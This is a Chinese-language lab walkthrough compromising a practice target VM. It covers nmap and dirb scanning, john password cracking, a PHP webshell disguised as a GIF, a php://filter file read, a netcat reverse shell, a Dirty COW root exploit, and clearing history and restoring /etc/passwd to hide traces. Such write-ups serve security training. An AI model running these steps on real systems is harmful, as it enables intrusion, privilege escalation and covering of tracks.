一、前期準備
1.靶機下載
鏈接: 百度網盤 請輸入提取碼 提取碼: z37y
2.用命令ifconfig查看kali
二、信息收集
1.主機發現,使用nmap命令
具體使用方法:nmap -sP 192.168.101.0/24
2.查看該靶機開放了哪些端口
nmap -A 192.168.101.109
直接訪問80端口
3.用dirb命令,掃描隱藏文件或者網址
(1)使用 dirb http://192.168.101.109,掃描到一個development
三、發現漏洞并利用
1.備份文件.bak
尋找Linux里面以.bak結尾的備份文件:dirb http://192.168.101.109 -X .bak
將掃到的文件,使用curl命令查看一下:curl http://192.168.101.109/index.html.bak
發現是個加密文件,需要解密一下。
先創建一個txt文件,然后將.bak文件中frank那句內容復制到txt文件里面
點擊右鍵打開終端
2.使用john
使用 john s.txt --show 破解,得到用戶密碼
嘗試登錄剛才收集到網站
3.webshel.php偽裝成gif文件
1.加上/uploader,登錄該網站,發現可以上傳文件
2.在webshell.php里面的開頭加入GIF87a,ctrl+s保存
3.把webshell.php改成web.gif,點重命名保存。
4.將改好的文件上傳
雖然已經上傳成功了,但是上傳的路徑尚未知道
先看一下http://192.168.101.109網站8011端口
啥也沒有,再用dirb命令掃描它:dirb http://192.168.101.109:8011,發現了一個api的目錄
猜測files_api.php是文件讀取的接口
hackbar插件-鏈接: 百度網盤 請輸入提取碼 提取碼: ktri
添加插件
頁面提示需要給網址傳遞一個參數
嘗試使用get傳參,發現失敗了然后使用post傳參,發現post傳參可行
試試傳參給剛才上傳的網址:file=/var/www/development/uploader/upload.phpphp://filter協議加密:php://filter/convert.base64-encode/resource=將得出的字符串進行base64解密:
PD9waHAKJHRhcmdldF9kaXIgPSAiRlJBTkt1cGxvYWRzLyI7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gYmFzZW5hbWUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSk7CiR1cGxvYWRPayA9IDE7CiRpbWFnZUZpbGVUeXBlID0gc3RydG9sb3dlcihwYXRoaW5mbygkdGFyZ2V0X2ZpbGUsUEFUSElORk9fRVhURU5TSU9OKSk7Ci8vIENoZWNrIGlmIGltYWdlIGZpbGUgaXMgYSBhY3R1YWwgaW1hZ2Ugb3IgZmFrZSBpbWFnZQppZihpc3NldCgkX1BPU1RbInN1Ym1pdCJdKSkgewogICAgJGNoZWNrID0gZ2V0aW1hZ2VzaXplKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsKICAgIGlmKCRjaGVjayAhPT0gZmFsc2UpIHsKICAgICAgICBlY2hvICJGaWxlIGlzIGFuIGltYWdlIC0gIiAuICRjaGVja1sibWltZSJdIC4gIi4iOwogICAgICAgICR1cGxvYWRPayA9IDE7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIkZpbGUgaXMgbm90IGFuIGltYWdlLiI7CiAgICAgICAgJHVwbG9hZE9rID0gMDsKICAgIH0KfQovLyBDaGVjayBpZiBmaWxlIGFscmVhZHkgZXhpc3RzCmlmIChmaWxlX2V4aXN0cygkdGFyZ2V0X2ZpbGUpKSB7CiAgICBlY2hvICJTb3JyeSwgZmlsZSBhbHJlYWR5IGV4aXN0cy4iOwogICAgJHVwbG9hZE9rID0gMDsKfQovLyBDaGVjayBmaWxlIHNpemUKaWYgKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJzaXplIl0gPiA1MDAwMDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgaXMgdG9vIGxhcmdlLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIEFsbG93IGNlcnRhaW4gZmlsZSBmb3JtYXRzCmlmKCRpbWFnZUZpbGVUeXBlICE9ICJqcGciICYmICRpbWFnZUZpbGVUeXBlICE9ICJwbmciICYmICRpbWFnZUZpbGVUeXBlICE9ICJqcGVnIgomJiAkaW1hZ2VGaWxlVHlwZSAhPSAiZ2lmIiApIHsKICAgIGVjaG8gIlNvcnJ5LCBvbmx5IEpQRywgSlBFRywgUE5HICYgR0lGIGZpbGVzIGFyZSBhbGxvd2VkLiI7CiAgICAkdXBsb2FkT2sgPSAwOwp9Ci8vIENoZWNrIGlmICR1cGxvYWRPayBpcyBzZXQgdG8gMCBieSBhbiBlcnJvcgppZiAoJHVwbG9hZE9rID09IDApIHsKICAgIGVjaG8gIlNvcnJ5LCB5b3VyIGZpbGUgd2FzIG5vdCB1cGxvYWRlZC4iOwovLyBpZiBldmVyeXRoaW5nIGlzIG9rLCB0cnkgdG8gdXBsb2FkIGZpbGUKfSBlbHNlIHsKICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgICAgICBlY2hvICJUaGUgZmlsZSAiLiBiYXNlbmFtZSggJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bIm5hbWUiXSkuICIgaGFzIGJlZW4gdXBsb2FkZWQgdG8gbXkgdXBsb2FkcyBwYXRoLiI7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gIlNvcnJ5LCB0aGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHlvdXIgZmlsZS4iOwogICAgfQp9Cj8
訪問http://192.168.101.109/development/uploader/FRANKuploads/web.gif,發現可以訪問,路徑對了
在kali上面開啟監聽:nc -lvvp 4444
讀取文件,建立反向連接
查看kali那邊,發現已經監聽成功
優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python -c ‘import pty;pty.spawn(“/bin/bash”)’
四、提權
臟牛提權使用范圍:內核版本>=2.4.22(截止到2016年10月18日)
臟牛提權要用到的腳本鏈接: 百度網盤 請輸入提取碼 提取碼: tf3n
1.查看當前用戶權限:id、查看當前版本號:uname -a
查看有哪些目錄及其權限
進入到www-date用戶的a文件:
發送方:nc 192.168.101.109 1234 < dirty.c
接收方:nc -l 1234 >dirty.c
開啟一個新的監聽
查看一下是否上傳成功,發現剛才上傳的臟牛腳本
執行命令:gcc -pthread dirty.c -o dirty -lcrypt
./dirty (啟動腳本)123456(密碼)
遠程連接:ssh firefart@192.168.101.109
?查看用戶權限:id
第二個flag
使用命令history -c
或者
清理痕跡,恢復passwd文件,命令:mv /tmp/passwd.bak /etc/passwd